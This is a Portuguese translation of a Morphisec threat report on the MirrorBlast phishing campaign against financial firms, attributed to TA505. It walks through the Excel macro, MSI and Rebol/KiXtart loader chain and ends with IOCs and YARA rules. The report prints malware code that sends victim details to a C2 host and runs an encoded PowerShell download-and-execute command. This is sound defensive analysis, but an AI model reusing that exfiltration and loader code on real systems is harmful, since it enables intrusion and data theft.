blank

blank

A equipe do Morphisec Labs rastreou uma nova versão da campanha de malware “MirrorBlast”, visando empresas de serviços financeiros, mas a cadeia de ataque é semelhante à do grupo de ameaças baseado na Rússia TA505.

TA505: o nome dado pela Proofpoint, está no negócio do crime cibernético há pelo menos quatro anos. Este é o grupo por trás do infame trojan bancário Dridex e ransomware Locky, entregue por meio de campanhas de e-mail maliciosas via botnet Necurs. Outros malwares associados ao TA505 incluem as famílias de ransomware Philadelphia e GlobeImposter.

TAMBÉM CONHECIDO COMO: Grupo SectorJ04, GRACEFUL SPIDER, GOLD TAHOE, Dudear

TAG: rebol ta505
ADVERSÁRIO: TA505
INDÚSTRIA: Financeiro
PAÍSES ALVO: Hong KongEstados Unidos da América, Canadá
FAMÍLIA DE MALWARE: MirrorBlast
IDS DE AT & CK: T1566 – PhishingT1059 – Intérprete de comandos e scriptsT1082 – Descoberta de informações do sistemaT1137.001 – Macros de modelo do OfficeT1497 – Virtualização / Evasão de SandboxT1001 – Ofuscação de dadosT1059.007 – JavaScriptT1059 – Intérprete de comandos e scriptsT1543 – Criar ou modificar o processo do sistemaT1547 – Execução de inicialização automática de inicialização ou logonT1041 – Exfiltração no canal C2T1059.001 – PowerShell

 

PONTOS CHAVE: 

  • Morphisec Labs rastreou uma nova campanha MirrorBlast voltada para organizações de serviços financeiros 
  • MirrorBlast é entregue através de um e-mail de phishing que contém links maliciosos que baixam um documento Excel como arma
  • MirrorBlast tem poucas detecções no VirusTotal devido à macro extremamente leve incorporada em seus arquivos do Excel, tornando-o particularmente perigoso para organizações que dependem de segurança baseada em detecção e sandboxing 

 

INTRODUÇÃO

As organizações financeiras estão historicamente entre as mais visadas por atores de ameaças. Há muitas razões para isso, entre as quais o tesouro de dados de clientes que o setor financeiro mantém, bem como os fundos para pagar grandes somas de dinheiro para recuperar o acesso aos dados criptografados. 

A equipe do Morphisec Labs rastreou uma nova versão de uma campanha destinada a organizações financeiras. Apelidado de “MirrorBlast” pelo ET Labs, a campanha de ataque atual que a equipe do Labs rastreou começou no início de setembro. Também houve atividade semelhante em abril de 2021, mas a campanha atual começou mais recentemente. 

A cadeia de ataque da infecção tem uma semelhança com as táticas, técnicas e procedimentos comumente usados ​​pelo grupo de ameaça TA505, supostamente baseado na Rússia. As semelhanças se estendem à cadeia de ataque, à funcionalidade GetandGo, à carga útil final e às semelhanças no padrão de nome de domínio. 

O TA505 está ativo desde pelo menos 2014 e, pelo que os analistas podem apurar, tem uma motivação financeira para suas ações. Como um grupo, o TA505 é mais conhecido por mudar frequentemente o malware que eles usam, bem como por conduzir as tendências globais na distribuição de malware.  

Nesta postagem do blog, examinaremos a nova cadeia de ataques da campanha MirrorBlast, desde a entrega inicial de um arquivo Excel malicioso até o resultado final do carregamento de uma carga adicional.

blank
Figura 1: A cadeia de ataque de MirrorBlast

INTRODUÇÃO TÉCNICA

Em setembro, observamos uma campanha de spam entregando documentos do Excel como um anexo. Esta campanha tem como alvo vários setores do Canadá, Estados Unidos, Hong Kong, Europa e muito mais.

A cadeia de ataque começa com um documento de anexo de e-mail, mas em um estágio posterior, ele muda para usar o URL feedproxy do Google com o SharePoint e o OneDrive lure, que se apresenta como uma solicitação de compartilhamento de arquivo. Esses URLs levam a um SharePoint comprometido ou a um site OneDrive falso que os invasores usam para escapar da detecção, além de um requisito de entrada (SharePoint) que ajuda a escapar de caixas de proteção.

blank
Figura 2 : um e-mail de phishing com o tema de isca do SharePoint.
blank
Figura 3: Um site falso do OneDrive exibindo um documento Excel (em alemão).

DOCUMENTO EXCEL

O documento do Excel é uma arma com um código de macro extremamente leve.

blank
Figura 4: Um documento Excel totalmente FUD.

O código de macro pode ser executado apenas em uma versão de 32 bits do Office devido a razões de compatibilidade com objetos ActiveX (compatibilidade de controle ActiveX). O código de macro executa anti-sandbox, verificando se as seguintes consultas são verdadeiras:

  • O nome do computador é igual ao domínio do usuário.
  • O nome de usuário é igual a admin ou administrador.

Observamos diferentes variantes do documento, nas primeiras variantes não havia anti-sandboxing e o código da macro ficava oculto atrás das propriedades de informação do documento Language e Code , depois movia-se para as células da planilha. Além disso, o código foi adicionado mais uma camada de ofuscação em cima da ofuscação anterior.

blank
Figura 5: Um documento Excel com macro leve e anti-sandboxing.

O comando executa JScript por meio do método AddCode do objeto ScriptControl ActiveX (métodos ScriptControl). Este método carrega e avalia o código de maneira semelhante a como Run ou Evaluate executa a instrução (a documentação oficial pode ser enganosa).

A macro executa o seguinte JScript:

blank
Figura 6: Um comando JScript ofuscado.

O comando desofuscado avaliado é:

blank
Figura 7: O JScript avaliado.

Isso gera o processo msiexec.exe , que é responsável por baixar e instalar o pacote MSI. É também uma forma conhecida de quebrar uma sequência de cadeia de ataque e complicar a visibilidade da trajetória de ataque (msiexec LOLBin). O processo msiexec.exe não é executado como um processo filho direto do Excel.exe; isso, com a adição de definir UILevel como -2 (instalação totalmente silenciosa), ajuda na evasão da sandbox.

PACOTE MSI

Observamos duas variantes do instalador MSI: KiXtart e REBOL. Ambas as variantes são geradas usando o Windows Installer XML Toolset (WiX) versão – 3.11.0.1528; uma vez executados, eles colocam dois arquivos em um diretório aleatório em ProgramData. Um deles é o executável do intérprete de linguagem de software legítimo (KiXtart ou REBOL) e o outro é o script malicioso.

blank
Figura 8: Rebol / KiXtart colocado na pasta ProgramData.

Alguns dos pacotes MSI incluíam persistência de execução automática por meio de `Software\Microsoft\Windows\CurrentVersion\Run`.

blank
Figura 9: Propriedades de registro do pacote MSI.

Variante REBOL

Rebol é uma linguagem de troca de dados de plataforma cruzada e uma linguagem de programação dinâmica multiparadigma (http://www.rebol.com/). O script Rebol de primeiro estágio é codificado em base64.

ebol[] do to-string debase “YXR0ZW1wdFsKCWNhbGwge2VjaG8gJVVTRVJET01BSU4lXCVVU0VSTkFNRSUgPiBuYW1lICYmIGZvciAvZiAidG9rZW5zPTQtNSBkZWxpbXM9LiAiICVpIGluICgndmVyJykgZG8gZWNobyAlaS4laiA+IG9zICYmIGVjaG8gJVBST0NFU1NPUl9BUkNISVRFQ1RVUkUlID4gYXJjaH0gd2FpdCAzCglyOiBlbmJhc2Ugam9pbiAibmFtZT0iIFt0cmltL2FsbCByZWFkICVuYW1lICImb3M9IiB0cmltL2FsbCByZWFkICVvcyAiJmFyY2g9IiB0cmltL2FsbCByZWFkICVhcmNoICImYnVpbGQ9MS4wLjIiXQoJcmVnOiBmdW5jIFthXVtpZiBhID09IDEgW2RlbGV0ZSAldXVpZF0gZWl0aGVyIGV4aXN0cz8gJ…deducted”

Code Block 1: The first-stage Rebol script.

 

Em seguida, ele extrai informações direcionadas enviando uma solicitação GET codificada em base64 que representa o domínio do usuário, nome de usuário, versão do sistema operacional, arquitetura, junto com um número de compilação do script Rebol (compilação = 1.0.0). Versões de script mais antigas não contêm o número da compilação. O C2 envia de volta um UUID que será associado à máquina da vítima e será usado em comunicações futuras.

call “echo %USERDOMAIN%\%USERNAME% > name && VER > os && echo %PROCESSOR_ARCHITECTURE% > arch”
wait 5
reg: enbase join “name=” [trim/all read %name “&os=” trim/all read %os “&arch=” trim/all read %arch “&build=1.0.0”] 
either exists? %uuid [uuid: read %uuid] [
    uuid: read join http://menorukis.su/p/r?x= reg
    uuid: parse uuid “|”
    uuid: uuid/2
    write %uuid uuid
]

Bloco de código 2: O script Rebol envia os dados da vítima para o C2.

Em seguida, o script entrará em um loop de espera infinito onde enviará o UUID codificado para o C2 enquanto espera pela resposta “3”. Assim que receber a resposta apropriada, ele executará um comando Powershell que baixa um arquivo compactado e extrai seu conteúdo para uma pasta chamada archive . Nessa pasta está o próximo estágio do script Rebol que será executado.

while[true][
    p: enbase join “uuid=” uuid
    read join http://menorukis[.]su/p/m?x= p
    a: read join http://menorukis[.]su/p/p?x= p
    l: read join http://menorukis[.]su/p/d?x= p
    
    if a == “3” [
        call “powershell.exe -exec bypass -enc JAB1AHUAaQBkACAAPQAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATABvAGMAYQBsAFwARwBvAG8AZwBsAGUAXAB1AHUAaQBkACIAOwANAAoAJAB1AHUAaQBkACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACIAdQB1AGkAZAA9ACQAdQB1AGkAZAAiACkAKQA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAiAGgAdAB0AHAAOgAvAC8AbQBlAG4AbwByAHUAawBpAHMALgB…deducted”
        wait 5
        do load %archive\payload.rb
        read join http://menorukis[.]su/p/p?x= enbase join “uuid=” [uuid “&status=true”]
    ]
wait 3]

Bloco de código 3: o loop que aguarda a carga útil do C2.

 

blank
Figura 10: Os comandos Powershell executados.

Também observamos uma versão mais recente do script Rebol (build = 1.0.2) que omite a parte de execução do Powershell. Em vez disso, ele implementa a mesma lógica com o código de linguagem Rebol; isso é feito para diminuir o ruído e o tamanho do script (sem execução de processo do PowerShell como parte da cadeia de ataque). No momento em que este artigo foi escrito, não foi possível recuperar o script Rebol do próximo estágio (payload.rb). 

Variante KiXtart

KiXtart é uma linguagem de script de formato livre e possui uma rica funcionalidade integrada para facilitar a criação de scripts (http://www.kixtart.org/).

O script eliminado é criptografado ou, como sugere a documentação, um script tokenizado. A documentação do KiXtart o descreve como  

“Em termos práticos, isso significa que os scripts tokenizados estão perfeitamente protegidos contra tentativas de visualizá-los ou alterá-los por usuários finais regulares. No entanto, os scripts tokenizados não estão protegidos contra ataques de pessoas com tempo e determinação suficientes do seu lado. ” ( Scripts de pré-tokenização Kixtart ).

A busca rápida por `Decrypt` nas strings leva à sub-rotina correspondente onde a descriptografia acontece.

blank
Figura 11: Executável KiXtart – função de descriptografia.

Despejar as strings da memória depois que elas foram descriptografadas resultou no seguinte:

blank
Figura 12: Strings da memória despejada.

Olhando as strings junto com o arquivo.pcap que capturamos, vemos que o script envia as informações da máquina da vítima (domínio, nome do computador, nome de usuário, lista de processos) para o C2. O C2 responde com um número que indica como proceder, como na variante Rebol. 

ATRIBUIÇÃO A TA505

Abaixo estão os TTPs que nos permitem atribuir com segurança a cadeia de ataque ao TA505 :

  • A cadeia de infecção consiste em Email -> XLS -> MSI (carregador Rebol/KiXtart). O componente MSI tem uma grande semelhança com o carregador Get2 (GetandGo) do TA505
  • Usando o tema de atração do SharePoint / OneDrive.
  • Usando cdn * dl * fileshare , * onedrive * ou * dropbox * como parte do nome de domínio.
  • Um dos e-mails com o tema isca do SharePoint leva à seguinte página:
    • blank
      Figura 13: Página com MD5 incompatível no painel de detalhes.
  • Notamos que o MD5 no painel de detalhes não corresponde ao MD5 do documento Excel. Na verdade, este MD5 pertence a um cliente Putty SFTP legítimo . Este hash específico foi mencionado em uma intrusão TA505 relacionada .
  • De acordo com @ffforwardo script Rebol de próximo estágio leva ao RAT FlawedGrace que está associado a TA505 (malpedia-flawedgrace

IOCS

XLS

55a06694bb96ecc422a7a6c731053b1ef5a35b5f5bac78752ca60b729cf7441f 9f79b9b0811b43a8bfff663083e3a380981db8cd8a4de7f5c8e073ebd6b412f7 de7fbe79942b20286d1676981f301472e02cabacc539ae944a7ef9f0977cb869 86ea7a3f1a8418c27a6ccab58b933c6ecc595dd271db81819defb0f49d452c6d 1eeb11946bb96ec1b749e246e4e56d2952264cffc370fc660c554de7cbd18ad4 b593add117782fee1816d31afd95355533f926653b140291445543d9e3aca246 867ae77ee54f412f8e56f2d3af5599d46d681d20171ae46c8166c5fec572a873 2c2dda4f1a8810d8a774f0fb5e0e33b6ed4a3172601f457f37b5e4eacc6c4c27 62cc2dd469713bf00f702c6c3b2e0bff92c21cbeadedcd09e9dde735c83d2712 0a27471acc8ef0f3d6ee98b56b1030e5a83896e08a69a4574693d6c811307beb 0cddfcb860d368413412df6905dd7962241675d7b1984f913d44a707cc04f689

1c3b8a671c18cf25c71b21ad47f827c3037291f122bbcb148fae416973b636f1 49ba406f19c2b1b689827a63517fa76b8e4f1346c4ff93c6a74c5ee8cba45367 862e11e9d7f9c9ab27a4a30fa06fcefd292600d0d0a490aabd374db12bd8ded3 442201667c85427b0a03437ff651b5eea280a21836de4a9e23bbd85c69c8208f 28221d5ed7a6b37a4a0e5be77a9137378b1b6ca850c6327b77eae7a2b4437c96 d508ebf55bb751e5c06c87f33c4ba75ed8efe05595011f47c51429e2ce041880 f2c90ffe3562335fab9532003e43d4911b8e42f34e3d693ba82703311dc133d2 4648edc370e61a52c95d3f525391e0154406fd661d01d091f2d9dba9f8a485f2 7073c55a5532d90c738993c14b6f983d1fb75030799e40249086f739c07c4ddc c6c6311c315503b53f8b5beb79eb568b243e7b07e66917635e4a2ebfdef0b0fa 58a2ed404491f9cf523598cad8e8c2b87dba0f58e6b7894c8a5c2a46482fdf55

a66ae3be95b3e28757d0ec25b68f968459490a38d62bc3c935778b534f177c08 b4de229237c0e0b540f97a6c43afe759e2bc4d2685c29fae1a63769ab58c3e0a e834acc3615f1b6ed00396d3db1e86770486f48433948a2a323b4f7bd99d9d19 fbf46626fcb130611b5e9d96c6c9a5f523c322cd0affa83a91c4d37b3efb2c93 d3a65f05ca4f72acf2cf07f56e37529e17cce6123463fb830c81106fa0c537c3 8d16d408b915d28bf68b22ec96d2f900a45524d6843f68c52acc2e31aecd12ed 3d24db72c1fb0913c9b74c1d69ad79aa95c287d970963c32ae10d93e6eb5386e d18c8bb2c9c59297c28f29db347238db4efd33d04f7a2af63ef26b8e8b9d0d79 f4891094d6623dadbf84486b85a29b4bd0badf28ee100bc0e44c550715614e62 c1ff2b5a636658e8f15b9dc9aef5d345477548b19f3f7fe232da8d8817138f00 d6c487b1fb3d31851921b343f3d131f7cb4c0469a60484037a6fa8cfbdc29dea

d236965a9ea87cfd7feaf67d1cbba45b8c24860c647ea51f34390cd89a5bde52 79ba3338e507701af421d546b810012b8acded9bbb1552fadd86e34a4b2e00b1 32b186a85062af8676bfe13a67577e6103acb0b00932c022fb5bb3c65a5840d3 5ade4bd97c596505ef0219639aaa8141a3ff34ba212cdf510e0a121a0296f758 948cf7061381fed4847b37f8bc8983d7a909e354e10096c040781ef0e0e89bb4 7fc2fed914bdc1d7f49bd36d6196fffe818156bd05f48c73ad68021f7723cd4b 1fd41236332fa7ce30f1fded2ffab486ae713519af7ca0ef23a7077c6e09d973 f66f9f0e293e622b046ab473cf99d071a377418fd69bf1685c8d23c371f517cc c256a67fcfcd31269a91a49bf89919bf909b3056a0e8260b6e5dd89564412e18

7904e73defa12c220cdc04d059cfc8acf3ae96dad41c7bb26381f076f17004cf 9eaa499aa4a1bc644d2a9696f87a2e75c50c64da1ad52837db4e15659b7fd17f

5457145d1709f6828a743ebe4ab34c74345647d7caca86d715db1cb52a7c596e

8b6a7dee378118541acdd60aa5bef687ce1470f62403c6429045dc17b494349b

cc5645a8109d03c1b02033b878144ae5ea39896ceaa3051136c1c740559b86fc fd4cd957f43c27084662d08031a049603f205dfc321d7fb858e9332c6c90a1ec

PACOTES MSI

9d102de45f1e8adebe2e9dd46712c4058be383499a6c340d65cc7d91a7c27c74 3a5cbaccae5178b29fdd57b0bff51574be1714d3f1ff0e528f5753af5ba9893a 8c2b6cc4d672ade525421168d296ff5e2f367daf0e92311fdb8af6dc09006297 b15f7056d2618cead5ca4e0eb6e414501bc295d95f34b84c6cf943e5c55c319d a403eae5b12b909f4075e855f58d1742308d5e0d3450e79b60162fa9fb7caad7 a69d27abd043cc676095f71300bf6b2368167536fcd4fe5342cf79a7e94fc2fe c0114535dad04e955db6b9e51588eb6942b9b092b0250f97bcd58c53ed48d384 808bbadea24f83013464dbf445a6c4b3050a7a5da03c16e04c8bd9e57198b1a5 ed7709cbbad9e164a45235be5270d6fb3492010ea945728a7d58f65f63434e58 2b108ec3e467ab6c3a9ad6a5545e8410e4185f8fee7a008d3d3a89a8caf86e75 0e6451e1f0eadb89390f4360e2a49a2ffb66e92e8b3ae75400095e75f4dd6abb

e87595fde2ead6bf842d86b3170c09d4c7b462ca23afcd3484b9bafb46c35338 d31cbaf03ae0d94f64de0d3108d3f957d81a7245b84e35aaef9c3c166be20bf6 ef55cb6228a33131152f7bf90bb23597b7ed7ba6a81f90fa283673e5f6a374f8 6841b26b9218688de6318b083cb70ecdca65876455a1723be00b383844c71f42 1bbbdcff7723fda499b8b7bffcdb510d56d10224bdb3293ae3d24debb9962aaa 83e4c90dc8bc1c53a4000bef83a355c4e36d2a1ba4a5d0982bc5b9b350278f1f 1d591def05a84554b94d042458f9d57ffb6ef7cebc3b6a8e164ec801f5e55642 a2fe17e940e8dbc5ed9e5c7c43d53ed75e0c37fca340bef648581c332309e8c1 61f1b9c62af8cabeb930ac0046adf6844be88896bfb3a5bd659a0d061c559791

eceb164a69e8f79bb08099fcdf2b75071c527b0107daebc0e7a88e246b4c7f13

 

C2

172.105.178[.]119
139.59.93[.]223
207.246.101[.]153
menorukis[.]su
155.138.205[.]35
45.79.239[.]23
95.216.138[.]82
194.180.174[.]6
185.202.93[.]201
185.10.68[.]235
185.183.96[.]147
185.225.19[.]246
185.176.220[.]198
5.189.222[.]161
46.161.40[.]172

feristoaul[.]com
23.19.58[.]52
fidufagios[.]com

YARA RULES

rule MirrorBlast

{

meta:

description = “Detects MirrorBlast Excel documents”

author = “Morphisec labs”

strings:

$header = { D0 CF 11 E0 A1 B1 1A E1 } // Excel header

$jscript_str_1 = “).reverse().join(”))”

$jscript_str_2 = “eval(‘”

$jscript_str_3 = “.split(‘”

condition:

$header at 0 and all of ($jscript_str_*)

}

 

rule MirrorBlast_msi

{

meta:

description = “Detects MirrorBlast MSI package”

author = “Morphisec labs”

strings:

$wix_installer = “Windows Installer XML Toolset (3.11.0.1528)”

$kixtart_variant = “WKIX32”

$rebol_variant = “Google”

condition:

$wix_installer and 1 of ($kixtart_variant, $rebol_variant)

}

NOMES DE ARQUIVOS

C:\ProgramData\Local\Google\rebol-view-278-3-1.exe
C:\ProgramData\Local\Google\exemple.rb
C:\ProgramData\temp\AudioDriver.exe
C:\ProgramData\temp\image.ico
C:\ProgramData\Excel\svchost.exe
C:\ProgramData\Excel\svchost.bin
C:\ProgramData\001\arab.exe
C:\ProgramData\001\arab.bin

 

Fonte: MorphiSec


Descubra mais sobre DCiber

Assine para receber os posts mais recentes por e-mail.